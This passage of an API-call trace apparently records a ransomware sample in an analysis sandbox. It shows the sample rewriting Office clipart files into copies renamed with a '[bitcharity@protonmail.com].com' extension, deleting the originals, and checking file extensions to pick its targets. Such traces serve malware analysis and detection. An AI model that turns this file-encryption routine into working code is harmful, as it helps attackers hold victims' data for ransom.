Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0299.238] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=5798) returned 1 [0299.238] CloseHandle (hObject=0x10bc) returned 1 [0299.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x220 [0299.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0299.238] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.238] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0299.239] GetLastError () returned 0x0 [0299.239] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x16a6, lpOverlapped=0x0) returned 1 [0299.345] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x16b0, lpOverlapped=0x0) returned 1 [0299.346] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.346] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.346] SetEndOfFile (hFile=0x10dc) returned 1 [0299.346] CloseHandle (hObject=0x10dc) returned 1 [0299.346] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.347] SetEndOfFile (hFile=0x10bc) returned 1 [0299.347] CloseHandle (hObject=0x10bc) returned 1 [0299.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0299.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0299.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0299.348] lstrlenW (lpString=".doc") returned 4 [0299.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.348] lstrlenW (lpString=".docx") returned 5 [0299.348] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.348] lstrlenW (lpString=".pdf") returned 4 [0299.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.348] lstrlenW (lpString=".xls") returned 4 [0299.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.348] lstrlenW (lpString=".xlsx") returned 5 [0299.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.348] lstrlenW (lpString=".ppt") returned 4 [0299.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0299.348] lstrlenW (lpString=".zip") returned 4 [0299.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.348] lstrlenW (lpString=".rar") returned 4 [0299.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.348] lstrlenW (lpString=".bz2") returned 4 [0299.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.348] lstrlenW (lpString=".7z") returned 3 [0299.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0299.348] lstrlenW (lpString=".dbf") returned 4 [0299.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0299.348] lstrlenW (lpString=".1cd") returned 4 [0299.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0299.349] lstrlenW (lpString=".jpg") returned 4 [0299.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0299.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0299.349] lstrlenW (lpString=".doc") returned 4 [0299.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.349] lstrlenW (lpString=".docx") returned 5 [0299.349] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.349] lstrlenW (lpString=".pdf") returned 4 [0299.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.349] lstrlenW (lpString=".xls") returned 4 [0299.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.349] lstrlenW (lpString=".xlsx") returned 5 [0299.349] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.349] lstrlenW (lpString=".ppt") returned 4 [0299.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0299.349] lstrlenW (lpString=".zip") returned 4 [0299.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.349] lstrlenW (lpString=".rar") returned 4 [0299.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.349] lstrlenW (lpString=".bz2") returned 4 [0299.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.349] lstrlenW (lpString=".7z") returned 3 [0299.349] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0299.349] lstrlenW (lpString=".dbf") returned 4 [0299.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0299.349] lstrlenW (lpString=".1cd") returned 4 [0299.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0299.349] lstrlenW (lpString=".jpg") returned 4 [0299.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.350] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.350] lstrlenW (lpString="HH00546_.WMF") returned 12 [0299.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0299.350] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=3718) returned 1 [0299.350] CloseHandle (hObject=0x10bc) returned 1 [0299.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x220 [0299.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0299.350] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.350] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0299.351] GetLastError () returned 0x0 [0299.351] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0xe86, lpOverlapped=0x0) returned 1 [0299.388] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xe90, lpOverlapped=0x0) returned 1 [0299.390] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.390] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.390] SetEndOfFile (hFile=0x10dc) returned 1 [0299.390] CloseHandle (hObject=0x10dc) returned 1 [0299.390] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.390] SetEndOfFile (hFile=0x10bc) returned 1 [0299.391] CloseHandle (hObject=0x10bc) returned 1 [0299.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0299.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0299.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0299.392] lstrlenW (lpString=".doc") returned 4 [0299.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.392] lstrlenW (lpString=".docx") returned 5 [0299.392] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.392] lstrlenW (lpString=".pdf") returned 4 [0299.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.392] lstrlenW (lpString=".xls") returned 4 [0299.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.392] lstrlenW (lpString=".xlsx") returned 5 [0299.392] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.392] lstrlenW (lpString=".ppt") returned 4 [0299.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0299.392] lstrlenW (lpString=".zip") returned 4 [0299.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.392] lstrlenW (lpString=".rar") returned 4 [0299.392] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.392] lstrlenW (lpString=".bz2") returned 4 [0299.392] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.392] lstrlenW (lpString=".7z") returned 3 [0299.392] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0299.392] lstrlenW (lpString=".dbf") returned 4 [0299.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0299.392] lstrlenW (lpString=".1cd") returned 4 [0299.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0299.392] lstrlenW (lpString=".jpg") returned 4 [0299.392] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0299.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0299.393] lstrlenW (lpString=".doc") returned 4 [0299.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.393] lstrlenW (lpString=".docx") returned 5 [0299.393] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.393] lstrlenW (lpString=".pdf") returned 4 [0299.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.393] lstrlenW (lpString=".xls") returned 4 [0299.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.393] lstrlenW (lpString=".xlsx") returned 5 [0299.393] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.393] lstrlenW (lpString=".ppt") returned 4 [0299.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0299.393] lstrlenW (lpString=".zip") returned 4 [0299.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.393] lstrlenW (lpString=".rar") returned 4 [0299.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.393] lstrlenW (lpString=".bz2") returned 4 [0299.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.393] lstrlenW (lpString=".7z") returned 3 [0299.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0299.393] lstrlenW (lpString=".dbf") returned 4 [0299.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0299.393] lstrlenW (lpString=".1cd") returned 4 [0299.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0299.393] lstrlenW (lpString=".jpg") returned 4 [0299.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.393] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.394] lstrlenW (lpString="HH00602_.WMF") returned 12 [0299.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0299.394] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=1400) returned 1 [0299.394] CloseHandle (hObject=0x10bc) returned 1 [0299.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x220 [0299.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0299.395] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.395] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0299.395] GetLastError () returned 0x0 [0299.395] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x578, lpOverlapped=0x0) returned 1 [0299.525] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x580, lpOverlapped=0x0) returned 1 [0299.527] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.527] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.527] SetEndOfFile (hFile=0x10dc) returned 1 [0299.527] CloseHandle (hObject=0x10dc) returned 1 [0299.527] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.527] SetEndOfFile (hFile=0x10bc) returned 1 [0299.528] CloseHandle (hObject=0x10bc) returned 1 [0299.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0299.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0299.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0299.529] lstrlenW (lpString=".doc") returned 4 [0299.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.529] lstrlenW (lpString=".docx") returned 5 [0299.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.529] lstrlenW (lpString=".pdf") returned 4 [0299.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.529] lstrlenW (lpString=".xls") returned 4 [0299.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.529] lstrlenW (lpString=".xlsx") returned 5 [0299.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.529] lstrlenW (lpString=".ppt") returned 4 [0299.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0299.529] lstrlenW (lpString=".zip") returned 4 [0299.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.529] lstrlenW (lpString=".rar") returned 4 [0299.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.529] lstrlenW (lpString=".bz2") returned 4 [0299.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.530] lstrlenW (lpString=".7z") returned 3 [0299.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0299.530] lstrlenW (lpString=".dbf") returned 4 [0299.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0299.530] lstrlenW (lpString=".1cd") returned 4 [0299.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0299.530] lstrlenW (lpString=".jpg") returned 4 [0299.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0299.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0299.530] lstrlenW (lpString=".doc") returned 4 [0299.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.530] lstrlenW (lpString=".docx") returned 5 [0299.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.530] lstrlenW (lpString=".pdf") returned 4 [0299.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.530] lstrlenW (lpString=".xls") returned 4 [0299.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.530] lstrlenW (lpString=".xlsx") returned 5 [0299.530] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.530] lstrlenW (lpString=".ppt") returned 4 [0299.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0299.530] lstrlenW (lpString=".zip") returned 4 [0299.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.531] lstrlenW (lpString=".rar") returned 4 [0299.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.531] lstrlenW (lpString=".bz2") returned 4 [0299.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.531] lstrlenW (lpString=".7z") returned 3 [0299.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0299.531] lstrlenW (lpString=".dbf") returned 4 [0299.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0299.531] lstrlenW (lpString=".1cd") returned 4 [0299.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0299.531] lstrlenW (lpString=".jpg") returned 4 [0299.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.531] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.531] lstrlenW (lpString="HH00623_.WMF") returned 12 [0299.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 